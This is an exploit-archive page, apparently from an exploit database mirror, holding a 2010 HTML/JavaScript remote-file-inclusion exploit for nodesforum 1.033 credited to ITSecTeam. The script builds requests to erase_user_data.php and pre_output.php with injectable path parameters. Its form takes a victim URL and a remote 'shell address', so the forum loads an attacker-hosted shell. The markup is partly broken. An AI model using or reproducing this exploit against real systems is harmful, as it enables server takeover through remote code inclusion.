发布 2010-04-04 漏洞条目

nodesforum 1.033 – Remote File Inclusion

Exploit Source

<html>

<head>

<title>coded by ahmadbady</title>

//===========================================================================

//( #Topic : nodesforum_1.033

//( #Bug type : multi remote file include

//( #Advisory :

//===========================================================================

//( #Author : ItSecTeam

//( #Email : Bug@ITSecTeam.com

//( #Website: http://www.itsecteam.com

//( #Forum : http://forum.ITSecTeam.com

//vuls---------------------------------------------------------------------

//erase_user_data.php line 6;

//pre_output.php line 16 ;

//--------------------------------------------------------------------------

var variable1 ="?_nodesforum_path_from_here_to_nodesforum_folder="

var variable2 ="?_nodesforum_code_path="

function it(){

if (xpl.file.value=="pre_output.php"){

variable1 = variable2;

}

xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.shell.value;xpl.submit();

}

</script>

</head>

<p align="left"><font color="#FF0000">vul1 file:/path/erase_user_data.php</font></p>

<p align="left"><font color="#FF0000">vul2 file:/path/pre_output.php</font></p>

<font

size="2" face="Tahoma">

victim:

path:

file:

shell address:

</p>

</p>

<p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset"

value="reset" name="B2" style="float: left"></p>

</form>

<p><br>

</p>

</center>

</body>

</html>

作者: ITSecTeam
日期: 2010-04-04
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection